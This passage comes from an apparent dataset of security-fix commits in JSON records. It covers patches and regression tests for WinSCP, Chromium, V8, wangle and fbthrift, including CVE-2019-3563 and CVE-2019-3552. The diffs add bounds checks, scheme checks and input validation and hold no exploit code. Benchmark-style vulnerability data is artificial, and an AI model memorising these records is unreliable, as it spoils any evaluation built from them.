UnixExtractFileName(FileName)))\r\n+ {\r\n+ SCPError(LoadStr(UNREQUESTED_FILE), False);\r\n+ }\r\n \r\n FullFileName = SourceDir + OnlyFileName;\r\n OperationProgress->SetFile(FullFileName);\r", "sections": [{"section": "@@ -2361,6 +2361,10 @@ void __fastcall TSCPFileSystem::SCPSink(const UnicodeString TargetDir,\n {\r\n FTerminal->LogEvent(FORMAT(L\"Warning: Remote host set a compound pathname '%s'\", (Line)));\r\n }\r\n+ if ((Level == 0) && (OnlyFileName != UnixExtractFileName(FileName)))\r\n+ {\r\n+ SCPError(LoadStr(UNREQUESTED_FILE), False);\r\n+ }\r\n \r\n FullFileName = SourceDir + OnlyFileName;\r\n OperationProgress->SetFile(FullFileName);\r", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "chrome/browser/extensions/api/permissions/permissions_api_unittest.cc", "commit_id": "e13eb21898c7eba584f680e3d17ca1b9e28bc505", "commit_message": "[Extensions] Have URLPattern::Contains() properly check schemes\n\nHave URLPattern::Contains() properly check the schemes of the patterns\nwhen evaluating if one pattern contains another. This is important in\norder to prevent extensions from requesting chrome:-scheme permissions\nvia the permissions API when is specified as an optional\npermission.\n\nBug: 859600,918470\n\nChange-Id: If04d945ad0c939e84a80d83502c0f84b6ef0923d\nReviewed-on: https://chromium-review.googlesource.com/c/1396561\nCommit-Queue: Devlin \nReviewed-by: Karan Bhatia \nCr-Commit-Position: refs/heads/master@{#621410}", "patch": "@@ -19,13 +19,17 @@\n #include \"components/crx_file/id_util.h\"\n #include \"extensions/common/extension_builder.h\"\n #include \"extensions/common/extension_features.h\"\n+#include \"extensions/common/manifest_handlers/permissions_parser.h\"\n #include \"testing/gmock/include/gmock/gmock.h\"\n #include \"testing/gtest/include/gtest/gtest.h\"\n \n namespace extensions {\n \n namespace {\n \n+constexpr char kNotInManifestError[] =\n+ \"Only permissions specified in the manifest may be requested.\";\n+\n using permissions_test_util::GetPatternsAsStrings;\n \n scoped_refptr CreateExtensionWithPermissions(\n@@ -556,7 +560,7 @@ TEST_F(PermissionsAPIUnitTest, RequestingPermissionsNotSpecifiedInManifest) {\n auto function = base::MakeRefCounted();\n function->set_user_gesture(true);\n function->set_extension(extension.get());\n- EXPECT_EQ(\"Only permissions specified in the manifest may be requested.\",\n+ EXPECT_EQ(kNotInManifestError,\n extension_function_test_utils::RunFunctionAndReturnError(\n function.get(),\n R\"([{\n@@ -617,4 +621,52 @@ TEST_F(PermissionsAPIUnitTest, RequestingAlreadyGrantedWithheldPermissions) {\n kGoogleCom));\n }\n \n+// Test that requesting chrome:-scheme URLs is disallowed in the permissions\n+// API.\n+TEST_F(PermissionsAPIUnitTest, RequestingChromeURLs) {\n+ scoped_refptr extension =\n+ ExtensionBuilder(\"extension\")\n+ .SetManifestKey(\"optional_permissions\",\n+ ListBuilder().Append(\"\").Build())\n+ .Build();\n+ AddExtensionAndGrantPermissions(*extension);\n+\n+ const GURL chrome_url(\"chrome://settings\");\n+\n+ // By default, the extension should not have access to chrome://settings.\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+ // The optional permissions should also omit the chrome:-scheme for the\n+ // pattern.\n+ EXPECT_FALSE(PermissionsParser::GetOptionalPermissions(extension.get())\n+ .explicit_hosts()\n+ .MatchesURL(chrome_url));\n+\n+ {\n+ // Trying to request \"chrome://settings/*\" should fail, since it's not in\n+ // the optional permissions.\n+ auto function = base::MakeRefCounted();\n+ function->set_user_gesture(true);\n+ function->set_extension(extension.get());\n+ std::string error =\n+ extension_function_test_utils::RunFunctionAndReturnError(\n+ function.get(), R\"([{\"origins\": [\"chrome://settings/*\"]}])\",\n+ browser(), api_test_utils::NONE);\n+ EXPECT_EQ(kNotInManifestError, error);\n+ }\n+ // chrome://settings should still be restricted.\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+\n+ // The extension can request , but it should not grant access to the\n+ // chrome:-scheme.\n+ std::unique_ptr prompted_permissions;\n+ RunRequestFunction(*extension, browser(), R\"([{\"origins\": [\"\"]}])\",\n+ &prompted_permissions);\n+ EXPECT_THAT(GetPatternsAsStrings(prompted_permissions->effective_hosts()),\n+ testing::UnorderedElementsAre(\"\"));\n+\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+ EXPECT_TRUE(extension->permissions_data()->HasHostPermission(\n+ GURL(\"https://example.com\")));\n+}\n+\n } // namespace extensions", "sections": [{"section": "@@ -19,13 +19,17 @@\n #include \"components/crx_file/id_util.h\"\n #include \"extensions/common/extension_builder.h\"\n #include \"extensions/common/extension_features.h\"\n+#include \"extensions/common/manifest_handlers/permissions_parser.h\"\n #include \"testing/gmock/include/gmock/gmock.h\"\n #include \"testing/gtest/include/gtest/gtest.h\"\n \n namespace extensions {\n \n namespace {\n \n+constexpr char kNotInManifestError[] =\n+ \"Only permissions specified in the manifest may be requested.\";\n+\n using permissions_test_util::GetPatternsAsStrings;\n \n scoped_refptr CreateExtensionWithPermissions(\n", "related": false}, {"section": "@@ -556,7 +560,7 @@ TEST_F(PermissionsAPIUnitTest, RequestingPermissionsNotSpecifiedInManifest) {\n auto function = base::MakeRefCounted();\n function->set_user_gesture(true);\n function->set_extension(extension.get());\n- EXPECT_EQ(\"Only permissions specified in the manifest may be requested.\",\n+ EXPECT_EQ(kNotInManifestError,\n extension_function_test_utils::RunFunctionAndReturnError(\n function.get(),\n R\"([{\n", "related": false}, {"section": "@@ -617,4 +621,52 @@ TEST_F(PermissionsAPIUnitTest, RequestingAlreadyGrantedWithheldPermissions) {\n kGoogleCom));\n }\n \n+// Test that requesting chrome:-scheme URLs is disallowed in the permissions\n+// API.\n+TEST_F(PermissionsAPIUnitTest, RequestingChromeURLs) {\n+ scoped_refptr extension =\n+ ExtensionBuilder(\"extension\")\n+ .SetManifestKey(\"optional_permissions\",\n+ ListBuilder().Append(\"\").Build())\n+ .Build();\n+ AddExtensionAndGrantPermissions(*extension);\n+\n+ const GURL chrome_url(\"chrome://settings\");\n+\n+ // By default, the extension should not have access to chrome://settings.\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+ // The optional permissions should also omit the chrome:-scheme for the\n+ // pattern.\n+ EXPECT_FALSE(PermissionsParser::GetOptionalPermissions(extension.get())\n+ .explicit_hosts()\n+ .MatchesURL(chrome_url));\n+\n+ {\n+ // Trying to request \"chrome://settings/*\" should fail, since it's not in\n+ // the optional permissions.\n+ auto function = base::MakeRefCounted();\n+ function->set_user_gesture(true);\n+ function->set_extension(extension.get());\n+ std::string error =\n+ extension_function_test_utils::RunFunctionAndReturnError(\n+ function.get(), R\"([{\"origins\": [\"chrome://settings/*\"]}])\",\n+ browser(), api_test_utils::NONE);\n+ EXPECT_EQ(kNotInManifestError, error);\n+ }\n+ // chrome://settings should still be restricted.\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+\n+ // The extension can request , but it should not grant access to the\n+ // chrome:-scheme.\n+ std::unique_ptr prompted_permissions;\n+ RunRequestFunction(*extension, browser(), R\"([{\"origins\": [\"\"]}])\",\n+ &prompted_permissions);\n+ EXPECT_THAT(GetPatternsAsStrings(prompted_permissions->effective_hosts()),\n+ testing::UnorderedElementsAre(\"\"));\n+\n+ EXPECT_FALSE(extension->permissions_data()->HasHostPermission(chrome_url));\n+ EXPECT_TRUE(extension->permissions_data()->HasHostPermission(\n+ GURL(\"https://example.com\")));\n+}\n+\n } // namespace extensions", "related": false}]} +{"owner": "v8", "repo": "v8", "language": "C", "file_name": "src/builtins/builtins-call-gen.cc", "commit_id": "4e3a17d0408627517d4a81b3bf5daf85e416e9ac", "commit_message": "[runtime] Reduce spread/apply call max arguments\n\nBug: chromium:906043\nChange-Id: I308b29af0644c318d73926b27e65a94913c760c7\nReviewed-on: https://chromium-review.googlesource.com/c/1346115\nCommit-Queue: Peter Marshall \nReviewed-by: Jaroslav Sevcik \nReviewed-by: Benedikt Meurer \nReviewed-by: Jakob Gruber \nCr-Commit-Position: refs/heads/master@{#57731}", "patch": "@@ -184,6 +184,8 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n Goto(&if_done);\n }\n \n+ Label too_many_args(this, Label::kDeferred);\n+\n // Tail call to the appropriate builtin (depending on whether we have\n // a {new_target} passed).\n BIND(&if_done);\n@@ -194,6 +196,8 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n TNode length = var_length.value();\n {\n Label normalize_done(this);\n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n GotoIfNot(Word32Equal(length, Int32Constant(0)), &normalize_done);\n // Make sure we don't accidentally pass along the\n // empty_fixed_double_array since the tailed-called stubs cannot handle\n@@ -228,6 +232,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n Int32Constant(HOLEY_DOUBLE_ELEMENTS));\n }\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n // Takes a FixedArray of doubles and creates a new FixedArray with those doubles\n@@ -239,6 +246,11 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructDoubleVarargs(\n TNode args_count, TNode context, TNode kind) {\n const ElementsKind new_kind = PACKED_ELEMENTS;\n const WriteBarrierMode barrier_mode = UPDATE_WRITE_BARRIER;\n+\n+ Label too_many_args(this, Label::kDeferred);\n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n+\n TNode intptr_length = ChangeInt32ToIntPtr(length);\n CSA_ASSERT(this, WordNotEqual(intptr_length, IntPtrConstant(0)));\n \n@@ -258,13 +270,16 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructDoubleVarargs(\n TailCallStub(callable, context, target, new_target, args_count, length,\n new_elements);\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n TNode target, TNode new_target, TNode spread,\n TNode args_count, TNode context) {\n Label if_smiorobject(this), if_double(this),\n- if_generic(this, Label::kDeferred);\n+ if_generic(this, Label::kDeferred), too_many_args(this, Label::kDeferred);\n \n TVARIABLE(Int32T, var_length);\n TVARIABLE(FixedArrayBase, var_elements);\n@@ -330,6 +345,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n TNode elements = var_elements.value();\n TNode length = var_length.value();\n \n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n+\n if (new_target == nullptr) {\n Callable callable = CodeFactory::CallVarargs(isolate());\n TailCallStub(callable, context, target, args_count, length, elements);\n@@ -347,6 +365,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n var_length.value(), args_count, context,\n var_elements_kind.value());\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n TF_BUILTIN(CallWithArrayLike, CallOrConstructBuiltinsAssembler) {", "sections": [{"section": "@@ -184,6 +184,8 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n Goto(&if_done);\n }\n \n+ Label too_many_args(this, Label::kDeferred);\n+\n // Tail call to the appropriate builtin (depending on whether we have\n // a {new_target} passed).\n BIND(&if_done);\n", "related": false}, {"section": "@@ -194,6 +196,8 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n TNode length = var_length.value();\n {\n Label normalize_done(this);\n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n GotoIfNot(Word32Equal(length, Int32Constant(0)), &normalize_done);\n // Make sure we don't accidentally pass along the\n // empty_fixed_double_array since the tailed-called stubs cannot handle\n", "related": false}, {"section": "@@ -228,6 +232,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithArrayLike(\n Int32Constant(HOLEY_DOUBLE_ELEMENTS));\n }\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n // Takes a FixedArray of doubles and creates a new FixedArray with those doubles\n", "related": false}, {"section": "@@ -239,6 +246,11 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructDoubleVarargs(\n TNode args_count, TNode context, TNode kind) {\n const ElementsKind new_kind = PACKED_ELEMENTS;\n const WriteBarrierMode barrier_mode = UPDATE_WRITE_BARRIER;\n+\n+ Label too_many_args(this, Label::kDeferred);\n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n+\n TNode intptr_length = ChangeInt32ToIntPtr(length);\n CSA_ASSERT(this, WordNotEqual(intptr_length, IntPtrConstant(0)));\n \n", "related": false}, {"section": "@@ -258,13 +270,16 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructDoubleVarargs(\n TailCallStub(callable, context, target, new_target, args_count, length,\n new_elements);\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n TNode target, TNode new_target, TNode spread,\n TNode args_count, TNode context) {\n Label if_smiorobject(this), if_double(this),\n- if_generic(this, Label::kDeferred);\n+ if_generic(this, Label::kDeferred), too_many_args(this, Label::kDeferred);\n \n TVARIABLE(Int32T, var_length);\n TVARIABLE(FixedArrayBase, var_elements);\n", "related": false}, {"section": "@@ -330,6 +345,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n TNode elements = var_elements.value();\n TNode length = var_length.value();\n \n+ GotoIf(Int32GreaterThan(length, Int32Constant(Code::kMaxArguments)),\n+ &too_many_args);\n+\n if (new_target == nullptr) {\n Callable callable = CodeFactory::CallVarargs(isolate());\n TailCallStub(callable, context, target, args_count, length, elements);\n", "related": false}, {"section": "@@ -347,6 +365,9 @@ void CallOrConstructBuiltinsAssembler::CallOrConstructWithSpread(\n var_length.value(), args_count, context,\n var_elements_kind.value());\n }\n+\n+ BIND(&too_many_args);\n+ ThrowRangeError(context, MessageTemplate::kTooManyArguments);\n }\n \n TF_BUILTIN(CallWithArrayLike, CallOrConstructBuiltinsAssembler) {", "related": false}]} +{"owner": "facebook", "repo": "wangle", "language": "C++", "file_name": "wangle/codec/test/CodecTest.cpp", "commit_id": "5b3bceca875e4ea4ed9d14c20b20ce46c92c13c6", "commit_message": "Peek for \\n in LineBasedFrameDecoder.\n\nSummary:\nPreviously this could underflow if there was not a following \\n.\n\nCVE-2019-3563\n\nReviewed By: siyengar\n\nDifferential Revision: D14935715\n\nfbshipit-source-id: 25c3eecf373f89efa1232456aeeb092f13b7fa06", "patch": "@@ -606,3 +606,37 @@ TEST(LineBasedFrameDecoder, CarriageNewLineOnly) {\n pipeline->read(q);\n EXPECT_EQ(called, 1);\n }\n+\n+TEST(LineBasedFrameDecoder, CarriageOnly) {\n+ auto pipeline = Pipeline>::create();\n+\n+ (*pipeline)\n+ .addBack(LineBasedFrameDecoder(\n+ 10, true, LineBasedFrameDecoder::TerminatorType::CARRIAGENEWLINE))\n+ .addBack(test::FrameTester([&](std::unique_ptr) { FAIL(); }))\n+ .finalize();\n+\n+ IOBufQueue q(IOBufQueue::cacheChainLength());\n+ q.append(IOBuf::copyBuffer(\"\\raa\"));\n+ pipeline->read(q);\n+}\n+\n+TEST(LineBasedFrameDecoder, DoubleCarriage) {\n+ auto pipeline = Pipeline>::create();\n+ int called = 0;\n+\n+ (*pipeline)\n+ .addBack(LineBasedFrameDecoder(\n+ 10, true, LineBasedFrameDecoder::TerminatorType::CARRIAGENEWLINE))\n+ .addBack(test::FrameTester([&](std::unique_ptr buf) {\n+ auto sz = buf->computeChainDataLength();\n+ called++;\n+ EXPECT_EQ(sz, 1);\n+ }))\n+ .finalize();\n+\n+ IOBufQueue q(IOBufQueue::cacheChainLength());\n+ q.append(IOBuf::copyBuffer(\"\\r\\r\\na\\r\\n\"));\n+ pipeline->read(q);\n+ EXPECT_EQ(called, 2);\n+}", "sections": [{"section": "@@ -606,3 +606,37 @@ TEST(LineBasedFrameDecoder, CarriageNewLineOnly) {\n pipeline->read(q);\n EXPECT_EQ(called, 1);\n }\n+\n+TEST(LineBasedFrameDecoder, CarriageOnly) {\n+ auto pipeline = Pipeline>::create();\n+\n+ (*pipeline)\n+ .addBack(LineBasedFrameDecoder(\n+ 10, true, LineBasedFrameDecoder::TerminatorType::CARRIAGENEWLINE))\n+ .addBack(test::FrameTester([&](std::unique_ptr) { FAIL(); }))\n+ .finalize();\n+\n+ IOBufQueue q(IOBufQueue::cacheChainLength());\n+ q.append(IOBuf::copyBuffer(\"\\raa\"));\n+ pipeline->read(q);\n+}\n+\n+TEST(LineBasedFrameDecoder, DoubleCarriage) {\n+ auto pipeline = Pipeline>::create();\n+ int called = 0;\n+\n+ (*pipeline)\n+ .addBack(LineBasedFrameDecoder(\n+ 10, true, LineBasedFrameDecoder::TerminatorType::CARRIAGENEWLINE))\n+ .addBack(test::FrameTester([&](std::unique_ptr buf) {\n+ auto sz = buf->computeChainDataLength();\n+ called++;\n+ EXPECT_EQ(sz, 1);\n+ }))\n+ .finalize();\n+\n+ IOBufQueue q(IOBufQueue::cacheChainLength());\n+ q.append(IOBuf::copyBuffer(\"\\r\\r\\na\\r\\n\"));\n+ pipeline->read(q);\n+ EXPECT_EQ(called, 2);\n+}", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "content/browser/frame_host/navigation_request.cc", "commit_id": "56b512399a5c2221ba4812f5170f3f8dc352cd74", "commit_message": "Show an error page if a URL redirects to a javascript: URL.\n\nBUG=935175\n\nChange-Id: Id4a9198d5dff823bc3d324b9de9bff2ee86dc499\nReviewed-on: https://chromium-review.googlesource.com/c/1488152\nCommit-Queue: Charlie Reis \nReviewed-by: Arthur Sonzogni \nCr-Commit-Position: refs/heads/master@{#635848}", "patch": "@@ -894,8 +894,13 @@ void NavigationRequest::OnRequestRedirected(\n redirect_info.new_url)) {\n DVLOG(1) << \"Denied redirect for \"\n << redirect_info.new_url.possibly_invalid_spec();\n- navigation_handle_->set_net_error_code(net::ERR_UNSAFE_REDIRECT);\n- frame_tree_node_->ResetNavigationRequest(false, true);\n+ // Show an error page rather than leaving the previous page in place.\n+ OnRequestFailedInternal(\n+ network::URLLoaderCompletionStatus(net::ERR_UNSAFE_REDIRECT),\n+ false /* skip_throttles */, base::nullopt /* error_page_content */,\n+ false /* collapse_frame */);\n+ // DO NOT ADD CODE after this. The previous call to OnRequestFailedInternal\n+ // has destroyed the NavigationRequest.\n return;\n }\n \n@@ -908,8 +913,13 @@ void NavigationRequest::OnRequestRedirected(\n redirect_info.new_url)) {\n DVLOG(1) << \"Denied unauthorized redirect for \"\n << redirect_info.new_url.possibly_invalid_spec();\n- navigation_handle_->set_net_error_code(net::ERR_UNSAFE_REDIRECT);\n- frame_tree_node_->ResetNavigationRequest(false, true);\n+ // Show an error page rather than leaving the previous page in place.\n+ OnRequestFailedInternal(\n+ network::URLLoaderCompletionStatus(net::ERR_UNSAFE_REDIRECT),\n+ false /* skip_throttles */, base::nullopt /* error_page_content */,\n+ false /* collapse_frame */);\n+ // DO NOT ADD CODE after this. The previous call to OnRequestFailedInternal\n+ // has destroyed the NavigationRequest.\n return;\n }\n ", "sections": [{"section": "@@ -894,8 +894,13 @@ void NavigationRequest::OnRequestRedirected(\n redirect_info.new_url)) {\n DVLOG(1) << \"Denied redirect for \"\n << redirect_info.new_url.possibly_invalid_spec();\n- navigation_handle_->set_net_error_code(net::ERR_UNSAFE_REDIRECT);\n- frame_tree_node_->ResetNavigationRequest(false, true);\n+ // Show an error page rather than leaving the previous page in place.\n+ OnRequestFailedInternal(\n+ network::URLLoaderCompletionStatus(net::ERR_UNSAFE_REDIRECT),\n+ false /* skip_throttles */, base::nullopt /* error_page_content */,\n+ false /* collapse_frame */);\n+ // DO NOT ADD CODE after this. The previous call to OnRequestFailedInternal\n+ // has destroyed the NavigationRequest.\n return;\n }\n \n", "related": false}, {"section": "@@ -908,8 +913,13 @@ void NavigationRequest::OnRequestRedirected(\n redirect_info.new_url)) {\n DVLOG(1) << \"Denied unauthorized redirect for \"\n << redirect_info.new_url.possibly_invalid_spec();\n- navigation_handle_->set_net_error_code(net::ERR_UNSAFE_REDIRECT);\n- frame_tree_node_->ResetNavigationRequest(false, true);\n+ // Show an error page rather than leaving the previous page in place.\n+ OnRequestFailedInternal(\n+ network::URLLoaderCompletionStatus(net::ERR_UNSAFE_REDIRECT),\n+ false /* skip_throttles */, base::nullopt /* error_page_content */,\n+ false /* collapse_frame */);\n+ // DO NOT ADD CODE after this. The previous call to OnRequestFailedInternal\n+ // has destroyed the NavigationRequest.\n return;\n }\n ", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "third_party/blink/renderer/core/frame/csp/content_security_policy.cc", "commit_id": "108147dfd1ea159fd3632ef92ccc4ab8952980c7", "commit_message": "Inherit the navigation initiator when navigating instead of the parent/opener\n\nSpec PR: https://github.com/w3c/webappsec-csp/pull/358\n\nBug: 905301, 894228, 836148\nChange-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a\nReviewed-on: https://chromium-review.googlesource.com/c/1314633\nCommit-Queue: Andy Paicu \nReviewed-by: Mike West \nCr-Commit-Position: refs/heads/master@{#610850}", "patch": "@@ -660,22 +660,6 @@ bool ContentSecurityPolicy::AllowPluginTypeForDocument(\n type, type_attribute, url, reporting_policy))\n return false;\n \n- // CSP says that a plugin document in a nested browsing context should\n- // inherit the plugin-types of its parent.\n- //\n- // FIXME: The plugin-types directive should be pushed down into the\n- // current document instead of reaching up to the parent for it here.\n- LocalFrame* frame = document.GetFrame();\n- if (frame && frame->Tree().Parent() && document.IsPluginDocument()) {\n- ContentSecurityPolicy* parent_csp = frame->Tree()\n- .Parent()\n- ->GetSecurityContext()\n- ->GetContentSecurityPolicy();\n- if (parent_csp && !parent_csp->AllowPluginType(type, type_attribute, url,\n- reporting_policy))\n- return false;\n- }\n-\n return true;\n }\n ", "sections": [{"section": "@@ -660,22 +660,6 @@ bool ContentSecurityPolicy::AllowPluginTypeForDocument(\n type, type_attribute, url, reporting_policy))\n return false;\n \n- // CSP says that a plugin document in a nested browsing context should\n- // inherit the plugin-types of its parent.\n- //\n- // FIXME: The plugin-types directive should be pushed down into the\n- // current document instead of reaching up to the parent for it here.\n- LocalFrame* frame = document.GetFrame();\n- if (frame && frame->Tree().Parent() && document.IsPluginDocument()) {\n- ContentSecurityPolicy* parent_csp = frame->Tree()\n- .Parent()\n- ->GetSecurityContext()\n- ->GetContentSecurityPolicy();\n- if (parent_csp && !parent_csp->AllowPluginType(type, type_attribute, url,\n- reporting_policy))\n- return false;\n- }\n-\n return true;\n }\n ", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "third_party/blink/renderer/core/frame/csp/content_security_policy.cc", "commit_id": "108147dfd1ea159fd3632ef92ccc4ab8952980c7", "commit_message": "Inherit the navigation initiator when navigating instead of the parent/opener\n\nSpec PR: https://github.com/w3c/webappsec-csp/pull/358\n\nBug: 905301, 894228, 836148\nChange-Id: I43ada2266d42d1cd56dbe3c6dd89d115e878a83a\nReviewed-on: https://chromium-review.googlesource.com/c/1314633\nCommit-Queue: Andy Paicu \nReviewed-by: Mike West \nCr-Commit-Position: refs/heads/master@{#610850}", "patch": "@@ -660,22 +660,6 @@ bool ContentSecurityPolicy::AllowPluginTypeForDocument(\n type, type_attribute, url, reporting_policy))\n return false;\n \n- // CSP says that a plugin document in a nested browsing context should\n- // inherit the plugin-types of its parent.\n- //\n- // FIXME: The plugin-types directive should be pushed down into the\n- // current document instead of reaching up to the parent for it here.\n- LocalFrame* frame = document.GetFrame();\n- if (frame && frame->Tree().Parent() && document.IsPluginDocument()) {\n- ContentSecurityPolicy* parent_csp = frame->Tree()\n- .Parent()\n- ->GetSecurityContext()\n- ->GetContentSecurityPolicy();\n- if (parent_csp && !parent_csp->AllowPluginType(type, type_attribute, url,\n- reporting_policy))\n- return false;\n- }\n-\n return true;\n }\n ", "sections": [{"section": "@@ -660,22 +660,6 @@ bool ContentSecurityPolicy::AllowPluginTypeForDocument(\n type, type_attribute, url, reporting_policy))\n return false;\n \n- // CSP says that a plugin document in a nested browsing context should\n- // inherit the plugin-types of its parent.\n- //\n- // FIXME: The plugin-types directive should be pushed down into the\n- // current document instead of reaching up to the parent for it here.\n- LocalFrame* frame = document.GetFrame();\n- if (frame && frame->Tree().Parent() && document.IsPluginDocument()) {\n- ContentSecurityPolicy* parent_csp = frame->Tree()\n- .Parent()\n- ->GetSecurityContext()\n- ->GetContentSecurityPolicy();\n- if (parent_csp && !parent_csp->AllowPluginType(type, type_attribute, url,\n- reporting_policy))\n- return false;\n- }\n-\n return true;\n }\n ", "related": false}]} +{"owner": "facebook", "repo": "fbthrift", "language": "C++", "file_name": "thrift/lib/cpp/protocol/TProtocolException.cpp", "commit_id": "c5d6e07588cd03061bc54d451a7fa6e84883d62b", "commit_message": "Throw on bad types during skipping data\n\nSummary:\nThe current code silently returns on bad types. In case when we have an invalid data, we may get a container of a large size with a bad type, this would lead to us running long loop doing nothing (though we already can say that the data is invalid).\n\nThe new code would throw an exception as soon as we try to skip a value of invalid type.\n\nFixes CVE-2019-3552\n\nReviewed By: yfeldblum, stevegury\n\nDifferential Revision: D8344920\n\nfbshipit-source-id: f12e8f3442f7ad5e1a81d822380701e929b80f0d", "patch": "@@ -57,4 +57,12 @@ namespace apache { namespace thrift { namespace protocol {\n \"Attempt to interpret value {} as bool, probably the data is corrupted\",\n value));\n }\n+\n+[[noreturn]] void TProtocolException::throwInvalidSkipType(TType type) {\n+ throw TProtocolException(\n+ TProtocolException::INVALID_DATA,\n+ folly::sformat(\n+ \"Encountered invalid field/element type ({}) during skipping\",\n+ static_cast(type)));\n+}\n }}}", "sections": [{"section": "@@ -57,4 +57,12 @@ namespace apache { namespace thrift { namespace protocol {\n \"Attempt to interpret value {} as bool, probably the data is corrupted\",\n value));\n }\n+\n+[[noreturn]] void TProtocolException::throwInvalidSkipType(TType type) {\n+ throw TProtocolException(\n+ TProtocolException::INVALID_DATA,\n+ folly::sformat(\n+ \"Encountered invalid field/element type ({}) during skipping\",\n+ static_cast(type)));\n+}\n }}}", "related": false}]} +{"owner": "chromium", "repo": "chromium", "language": "C", "file_name": "chrome/browser/extensions/api/page_capture/page_capture_apitest.cc", "commit_id": "0660e08731fd42076d7242068e9eaed1482b14d5", "commit_message": "Call CanCaptureVisiblePage in page capture API.\n\nCurrently the pageCapture permission allows access\nto arbitrary local files and chrome:// pages which\ncan be a security concern. In order to address this,\nthe page capture API needs to be changed similar to\nthe captureVisibleTab API. The API will now only allow\nextensions to capture otherwise-restricted URLs if the\nuser has granted activeTab. In addition, file:// URLs are\nonly capturable with the \"Allow on file URLs\" option enabled.\n\nBug: 893087\n\nChange-Id: I6d6225a3efb70fc033e2e1c031c633869afac624\nReviewed-on: https://chromium-review.googlesource.com/c/1330689\nCommit-Queue: Bettina Dea \nReviewed-by: Devlin \nReviewed-by: Varun Khaneja \nCr-Commit-Position: refs/heads/master@{#615248}", "patch": "@@ -5,21 +5,34 @@\n #include \"base/base_switches.h\"\n #include \"base/command_line.h\"\n #include \"base/threading/thread_restrictions.h\"\n+#include \"chrome/browser/extensions/active_tab_permission_granter.h\"\n #include \"chrome/browser/extensions/api/page_capture/page_capture_api.h\"\n+#include \"chrome/browser/extensions/extension_action_runner.h\"\n #include \"chrome/browser/extensions/extension_apitest.h\"\n+#include \"chrome/browser/extensions/extension_util.h\"\n+#include \"chrome/browser/extensions/tab_helper.h\"\n #include \"chrome/common/chrome_switches.h\"\n+#include \"chrome/test/base/ui_test_utils.h\"\n #include \"chromeos/login/scoped_test_public_session_login_state.h\"\n #include \"content/public/browser/browser_thread.h\"\n #include \"content/public/common/content_switches.h\"\n #include \"content/public/test/test_utils.h\"\n #include \"extensions/browser/extension_dialog_auto_confirm.h\"\n+#include \"extensions/common/permissions/permission_set.h\"\n+#include \"extensions/common/permissions/permissions_data.h\"\n+#include \"extensions/common/url_pattern_set.h\"\n+#include \"extensions/test/extension_test_message_listener.h\"\n+#include \"extensions/test/result_catcher.h\"\n #include \"net/dns/mock_host_resolver.h\"\n \n #if defined(OS_CHROMEOS)\n #include \"chromeos/login/login_state.h\"\n #endif // defined(OS_CHROMEOS)\n \n+using extensions::Extension;\n+using extensions::ExtensionActionRunner;\n using extensions::PageCaptureSaveAsMHTMLFunction;\n+using extensions::ResultCatcher;\n using extensions::ScopedTestDialogAutoConfirm;\n \n class ExtensionPageCaptureApiTest : public extensions::ExtensionApiTest {\n@@ -55,6 +68,24 @@ class PageCaptureSaveAsMHTMLDelegate\n IN_PROC_BROWSER_TEST_F(ExtensionPageCaptureApiTest, SaveAsMHTML) {\n ASSERT_TRUE(StartEmbeddedTestServer());\n PageCaptureSaveAsMHTMLDelegate delegate;\n+ ASSERT_TRUE(RunExtensionTestWithFlagsAndArg(\n+ \"page_capture\", \"ONLY_PAGE_CAPTURE_PERMISSION\", kFlagNone))\n+ << message_;\n+ // Make sure the MHTML data gets written to the temporary file.\n+ ASSERT_FALSE(delegate.temp_file_.empty());\n+ // Flush the message loops to make sure the delete happens.\n+ content::RunAllTasksUntilIdle();\n+ content::RunAllPendingInMessageLoop(content::BrowserThread::IO);\n+ // Make sure the temporary file is destroyed once the javascript side reads\n+ // the contents.\n+ base::ScopedAllowBlockingForTesting allow_blocking;\n+ 